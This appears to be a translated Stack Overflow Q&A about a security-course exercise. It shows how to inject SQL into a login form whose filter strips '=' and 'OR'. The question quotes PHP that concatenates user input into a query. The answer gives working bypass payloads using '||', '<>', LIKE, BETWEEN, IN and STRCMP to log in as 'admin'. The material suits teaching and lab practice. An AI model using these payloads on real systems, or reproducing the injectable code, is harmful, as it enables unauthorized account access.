簡體   English   中英

SQL注入與PHP過濾

[英]SQL injection with php filtering

我必須插入一個登錄表單以進行有關計算機安全課程的練習.....

' like 1=1--

在密碼字段中,但是現在在第二級中,我必須再次注入具有相同源代碼的相同登錄表單,除了用戶和pwd由稱為lvl2_filter()的函數控制的事實,我認為它是過濾器的一部分.php並且不接受“ =”和“ OR”

我該怎么做 ???

用戶名和密碼字段都不能為空

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

假設lvl2_filter定義基本上消除了=or直到不再找到的任何出現,仍然應該可以對||使用邏輯或運算 而不是OR和一個評估為true的簡單表達式,例如:

username: dummy
password: ' || '1

這將導致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

為了選擇特定的用戶,可以使用布爾代數規則 ,其中x=y = !(x!=y)

username: dummy
password: ' || NOT(username<>'admin') AND '1

這將導致:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

在這里<>等價於!=但不包含=

確保用戶名等於admin還可使用其他操作:

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
  • ...

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM